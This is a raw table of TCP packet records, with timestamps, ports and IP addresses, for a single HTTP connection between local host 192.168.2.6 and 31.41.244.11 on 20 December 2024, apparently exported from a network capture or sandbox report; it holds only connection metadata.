Dec 20, 2024 21:13:15.021686077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.021719933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.021719933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.022453070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.022507906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.022563934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.022757053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.023355961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.023433924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.023451090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.023631096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.024183989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.024271011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.024316072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.025125027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.025230885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.025293112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.025957108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.026005030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.026021004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.026103973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.026840925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.027024984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.027112007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.027668953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.027745008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.027798891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.027849913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.028557062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.028656006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.028728962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.028830051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.029473066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.029536009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.029797077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.029839039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.030268908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.030337095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.030643940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.030718088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.031167984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.031219006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.031260014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.031301975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.032013893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.032062054 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.032195091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.032252073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.032928944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.033036947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.033061981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.033181906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.033843994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.033929110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.033978939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.034729958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.034805059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.034837961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.034914970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.035820961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.035875082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.035922050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.036065102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.036521912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.036612034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.036618948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.036669970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.037355900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.037451982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.037492037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.037492037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.038268089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.038326979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.038374901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.038374901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.039129019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.039237022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.039314985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.186378002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.186697960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.186712027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.186733961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.186769009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.305975914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.306042910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.306060076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.306085110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.306085110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.306107998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.306214094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.306232929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.306263924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.306277990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.425465107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.425483942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.425501108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.425518036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.425532103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.425532103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.425535917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.425549030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.425566912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.425606012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.426136971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.426155090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.426171064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.426191092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.426191092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.426206112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.426227093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.426242113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.426276922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.426282883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.426321030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.426321030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.428926945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.428961992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.428977966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.428994894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.428999901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.428999901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429022074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429025888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429044962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429063082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429064989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429064989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429080963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429089069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429105043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429114103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429121971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429138899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429146051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429146051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429156065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429157019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429174900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429191113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429193974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429193974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429208040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429214001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429224968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429239988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429250002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429272890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.429970980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.429986954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430002928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430020094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430021048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430037975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430057049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430057049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430083036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430877924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430922031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430938005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430943966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430955887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430973053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430973053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430991888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.430999041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.430999041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431030035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431030035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431780100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.431797981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.431814909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.431833029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.431843042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431843042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431848049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.431859970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431891918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.431891918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432606936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432658911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432784081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432838917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432856083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432872057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432878971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432878971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432888985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432893991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432904005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.432918072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432918072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.432965994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.433738947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.433756113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.433772087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.433788061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.433800936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.433800936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.433816910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.433864117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.433890104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.433964968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.434629917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.434647083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.434662104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.434667110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.434681892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.434701920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.434784889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.434803009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.434818029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.434847116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.434847116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.434864998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.435569048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.435585976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.435601950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.435619116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.435620070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.435637951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.435647011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.435647011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.435678959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.435678959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.436111927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.436131001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.436165094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.436218023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.436230898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.436234951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.436253071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.436269999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.436271906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.436271906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.436306000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.436306000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.437103033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.437119961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.437135935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.437149048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.437151909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.437167883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.437184095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.437184095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.437186003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.437212944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.437212944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.437232971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438009977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438026905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438041925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438050985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438060999 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438079119 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438082933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438082933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438100100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438132048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438930988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438949108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438965082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438981056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.438994884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438994884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.438998938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439013004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439017057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439042091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439042091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439244032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439799070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439815044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439861059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439861059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439870119 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439886093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439902067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.439918041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439927101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.439986944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.440725088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.440792084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.440810919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.440826893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.440843105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.440859079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.440869093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.440869093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.440876961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.440887928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.440920115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.440920115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.441674948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.441690922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.441730022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.441732883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.441732883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.441749096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.441766024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.441778898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.441781998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.441808939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.441808939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.441832066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.442574024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.442625046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.442668915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.442687035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.442702055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.442713022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.442718983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.442732096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.442734957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.442761898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.442761898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.442784071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.443537951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.443557024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.443572044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.443586111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.443591118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.443605900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.443612099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.443612099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.443655014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.443655014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.444519997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.444561005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.444576979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.444600105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.444600105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.444614887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.444622040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.444632053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.444668055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.444668055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.445359945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.445378065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.445394039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.445410967 CET	49849	80	192.168.2.6	31.41.244.11
